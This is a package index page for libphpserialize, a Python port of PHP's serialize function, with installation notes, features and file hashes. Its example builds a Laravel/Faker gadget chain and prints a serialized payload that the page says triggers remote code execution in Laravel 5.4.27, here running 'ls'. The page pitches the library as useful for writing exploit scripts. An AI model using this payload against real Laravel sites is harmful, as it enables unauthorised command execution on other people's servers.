A port of PHP's serialize function, in pure python
Project description
libphpserialize
A port of PHP's serialize function, in pure python
Installation
pip install libphpserialize
Features
- serialize objects directly from python objects
- nested objects
- namespacing
- variable Access Modifiers (public, private, protected)
Example
from phpserialize import serialize
from phpserialize.decorators import namespace
import requests
@namespace('Faker')
class Generator:
protected_formatters = {'dispatch': 'system'}
@namespace('Illuminate\Broadcasting')
class PendingBroadcast:
protected_event = 'ls'
protected_events = Generator()
print(serialize(PendingBroadcast()))
with above code, you'll get:
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:15:"Faker\Generator":1:{s:13:"*formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"*event";s:2:"ls";}
which triggers an RCE vulnerability in Laravel 5.4.27
nice when you're writing an exploit script for others to read
Important:
- the code is written and tested under python 3.7+
- decimal serialization doesn't work the same as PHP does, yet
TODO
- recursive objects support
- reimplement decimal precision calculating algorithm from php engine
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
libphpserialize-0.0.8.tar.gz
(5.1 kB
view hashes)
Built Distribution
Close
Hashes for libphpserialize-0.0.8-py3-none-any.whl
Algorithm | Hash digest | |
---|---|---|
SHA256 | 7f2940ae00e22978076323fc7471531eb95967d45edd940fa0f014466e4d9519 |
|
MD5 | 93c536284e0d97df02dd552132a6098f |
|
BLAKE2b-256 | e2bdd4375797c38b53143ed9c82fdf1a25df7664dc60fa6c75c0d947aef8b693 |